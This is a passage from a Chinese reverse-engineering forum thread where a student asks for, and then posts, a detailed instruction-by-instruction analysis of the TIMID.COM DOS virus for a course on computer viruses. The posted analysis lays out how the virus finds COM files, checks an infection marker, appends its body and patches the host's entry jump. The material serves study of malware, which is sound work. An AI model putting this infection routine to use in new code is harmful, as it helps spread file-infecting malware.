首页
社区
课程
招聘
[求助]TIMID.COM病毒汇编分析[求助]
发表于: 2008-4-6 12:50 4884

[求助]TIMID.COM病毒汇编分析[求助]

2008-4-6 12:50
4884
这学期选了《计算机病毒及防治原理》。期中有个实验要求我们对TIMID.COM病毒(能感染同目录下的COM文件)的感染机制进行详细分析。但是小弟我的汇编知识很浅漏,只能求助看雪的各位兄弟姐妹们,希望能给一点宝贵的意见。(附件里有病毒样本)小弟万分感谢……

一下是我在debug下,用反汇编指令查看到的一些代码:
-u
0B5A:0100 E90900        JMP     010C
0B5A:0103 56            PUSH    SI
0B5A:0104 49            DEC     CX
0B5A:0105 212A          AND     [BP+SI],BP
0B5A:0107 2E            CS:
0B5A:0108 43            INC     BX
0B5A:0109 4F            DEC     DI
0B5A:010A 4D            DEC     BP
0B5A:010B 00E8          ADD     AL,CH
0B5A:010D 0000          ADD     [BX+SI],AL
0B5A:010F 812EFCFF0900  SUB     WORD PTR [FFFC],0009
0B5A:0115 BA2AFF        MOV     DX,FF2A
0B5A:0118 B41A          MOV     AH,1A
0B5A:011A CD21          INT     21
0B5A:011C E83E00        CALL    015D
0B5A:011F 7510          JNZ     0131
-

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
现在搞定了,我把自己分析的贴出来吧
有需要的可以参考。

命令  指令  涉及内存值  注释  
P  JMP   010C    跳转到偏移地址为010C的地方执行  
T  CALL  010F    调用子程序  
P  SUB  WORD PTR [FFFC],0009  DS:FFFC=010F  将DS:FFFC内容改为0106  
P  MOV  DX,FF2A    设置DTA的偏移地址  
P  MOV  AH,1A    设置DTA(磁盘传输区)地址,DS:DX=传输区首址,DTA=DS:FF2A  
P  INT   21      
T  CALL  015D    调用程序搜索模块  
P  MOV  DX,[FFFC]  DS:FFFC=0106  定位病毒体的位置  
  MOV  CX,003F    设置隐藏和系统属性  
P  MOV  AH,4E    搜索第一个匹配的文件,DS:DX=字符串地址,存放着匹配字符*.com,(CX=属性)(出口参数DTA中)
  
P  INT    21      
P  OR  AL,AL    检查调用是否成功  
P  JNZ   0177    没有则以z=0退出  
T  CALL  0178    调用子程序,打开timid.com病毒程序  
P  MOV  DX,FF48    将字符串“TIMID.COM”存入DS:FF48  
P  MOV  AX,3D02    DS:DX=字符串地址(以0为字符串的结束标志),AL=02则以读/ 写方式打开文件timid.com,AX=文件号(句柄号)CF=0(NC)表示打开成功,否则,AX=错误号(02H、03H、04H、05H或0CH)  
P  INT   21      
P  JB  01AB    JB的测试条件CF=1,即检测文件是否打开成功,打开文件失败则跳转到CS:01AB处执行  
P  MOV  BX,AX    BX=0005  
P  PUSH  BX    将BX压入堆栈  
P  MOV  CX,0005      
P  MOV  DX,FF57     设置缓冲区偏移地址  
P  MOV  AH,3F    读文件或设备,BX=文件号(句柄),CX=0005代表读出字节数,DS:DX=缓冲区首址(内容为:mov a),AX=实际读出的字节数  
P  INT  21      
P  POP   BX      
P  MOV  AH,3E    关闭文件,BX=文件号(句柄)  
P  INT  21      
P  MOV  AX,[FF44]  DS:FF44=0137  将TIMID.COM的文件大小137H字节存入AX  
P  ADD  AX,0205    加上病毒码的长度,存入AX中  
P  JB  01AB      
P  CMP  BYTE PTR [FF57],E9  DS:FF57=E9    
P  JNZ  01B0     标志位为0时继续执行下面的比较,否则跳转  
P  CMP  WORD PTR [FF5A],4956  DS:FF5A=4956    
P  JNZ  01B0    标志位为0时继续执行下面的比较,否则跳转  
P  MOV  AL,01    不感染,清Z  
P  OR   AL,AL    清Z  
P  RET    将IP从堆栈弹出,跳转到016F执行  
P  JZ  0177    没有可感染的文件则跳转,此时CS:IP=RET  
P  MOV  AH,4F    查找下一个文件,入口和出口参数在DTA中  
P  INT  21      
P  JMP  0168      
P  OR  AL,AL      
P  JNZ  0177      
T  CALL  0178      
P  MOV  DX,FF48    将字符串“TEST1.COM”存入DS:FF48  
P  MOV  AX,3D02    DS:DX=字符串地址,AL=02则以读/写方式打开文件test1.com,AX=文件号(句柄号)
  
P  INT   21      
P  JB  01AB      
P  MOV  BX,AX      
P  PUSH  BX      
P  MOV  CX,0005    设置读取字节数  
P  MOV  DX,FF57    设置缓冲区偏移地址  
P  MOV  AH,3F    读文件或设备,BX=文件号(句柄),CX=0005代表读出字节数,DS:DX=缓冲区首址(读出mov a),AX=实际读出的字节数  
P  INT   21      
P  POP   BX      
P  MOV  AH,3E    关闭文件,BX=文件号(句柄)  
P  INT   21      
P  MOV  AX,[FF44]  DS:FF44=0015  test1.com的大小保存于AX中  
P  ADD  AX,0205    加上病毒码的长度,存入AX中  
P  JB  01AB      
P  CMP  BYTE  PTR [FF57],E9  DS:FF57=6D   用test1.com的首字节6D和病毒感染标志E9比较  
P  JNZ  01B0    文件test1.com没有被感染,程序跳转到DS:01B0处执行  
P  XOR  AL,AL      
P  RET    将IP从堆栈弹出,跳转到016F执行  
P  JZ  0177      
P  RET    将IP从堆栈弹出,跳转到011F执行  
P  JNZ   0131    不跳转继续向下执行  
T  CALL    01B3      
P  MOV  DX,FF48    存放文件名test1.com  
P  MOV  AX,3D02    DS:DX=字符串地址,读/写方式打开文件test1.com,AX=文件号 (句柄号)   
P  INT   21      
P  MOV  [FF55],AX  DS:FF55=0000    
P  XOR  CX,CX      
P  MOV  DX,CX    设置DX=CX=0  
P  MOV  BX,[FF55]  DS:FF55=0005  保存文件句柄  
P  MOV  AX,4202    改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=2表示绝对移动,DX:AX=新指针的位置  
P  INT  21      
P  MOV  CX,0131    设置写入被感染文件字节的大小为305个字节  
P  MOV  DX,[FFFC]  DS:FFFC=0106   指定要写入的数据的地址  
P  MOV  BX,[FF55]  DS:FF55=0005  设置文件句柄  
P  MOV  AH,40    写文件或设备,BX=文件号(句柄),CX=写入字节数,DS:DX=缓冲区首址  
P  INT  21    执行完该指令后,文件末尾被写入305个字节  
P  XOR  CX,CX      
P  MOV  DX,[FF44]  DS:FF44=0015   保存原始文件大小  
P  ADD  DX,0052     (设置test1.com文件头5个字节在病毒添加的305个字节中的位置) 原始文件偏移量与长度相加,即:将文件的头5个字节移动到距离源test1.com文件末尾52H(82)后5个字节的地方  
P  MOV  BX,[FF55]  DS:FF55=0005    
P  MOV  AX,4200     改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=0表示绝对移动,DX:AX=新指针的位置  
P  INT     21      
P  MOV  CX,0005    设置写入字节数  
P  MOV  BX,[FF55]  DS:FF55=0005    
P  MOV  DX,FF57      
P  MOV  AH,40    写文件或设备,BX=文件号(句柄),CX=0005(写入字节数), DS:DX=缓冲区首址  
P  INT  21      
P  XOR  CX,CX      
P  MOV  DX,CX      
P  MOV  BX,[FF55]  DS:FF55=0005    
P  MOV  AX,4200     改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=0表示绝对移动,DX:AX=新指针的位置  
P  INT   21    执行完该指令后,文件头部5个字节将被改变  
P  MOV  BX,[FFFC]  DS:FFFC=0106    
P  MOV  BYTE PTR [FF57],E9  DS:FF57=6D  设置test1.com文件的第一个字节  
P  MOV  AX,[FF44]  DS:FF44=0015  保存test1.com文件原始长度  
P  ADD  AX,0003    AX为test1.com文件的长度+0003  
P  MOV  [FF58],AX  DS:FF58=766F  将test1.com的第二、三个字节改为文件长度+0003  
P  MOV  WORD PTR [FF5A],4956  DS:FF5A=6120  将test1.com的第四、五个字节改为56H和49H  
P  MOV  CX,0005     设置写入test1.com的字节数  
P  MOV  DX,FF57      
P  MOV  BX,[FF55]  DS:FF55=0005    
P  MOV  AH,40    写文件或设备,BX=文件号(句柄),CX=0005(写入字节数), DS:DX=缓冲区首址  
P  INT      21      
P  MOV  BX,[FF55]  DS:FF55=0005    
P  MOV  AH,3E    关闭文件,BX=文件号(句柄)  
P  INT   21    文件头被移动并被标记  
P  RET      
P  MOV  DX,FF48      
P  MOV  WORD PTR [FF55],0024  DS:FF55=0005    
P  MOV  AH,09    显示字符串,DS:DX=缓冲区首址  
P  INT   21      
P  MOV  DX,0080      
P  MOV  AH,1A    设置DTA(磁盘传输区)地址,DS:DX=传输区首址  
P  INT  21    对DTA的内容进行恢复  
P  MOV  BX,[FFFC]  DS:FFFC=0106  

将宿主文件的前五个字节写入ds:[100]-ds[104]  
P  MOV  AX,[BX+0052]  DS:0158=4CB4    
P  MOV  [0100],AX  DS:0100=09E9    
P  MOV  AX,[BX+0054]  DS:015A=00B0    
P  MOV  [0102],AX  DS:0102=5600    
P  MOV  AL,[BX+0056]  DS:015C=CD    
P  MOV  [0104],AL  DS:0104=49    
P  MOV  WORD PTR [FFFC],0100  DS:FFFC=0106    
P  RET      
P  MOV  AH,4C     终止当前程序并返回调用程序  
P  MOV  AL,00    AL=退出码  
P  INT   21
2008-7-15 19:54
0
游客
登录 | 注册 方可回帖
返回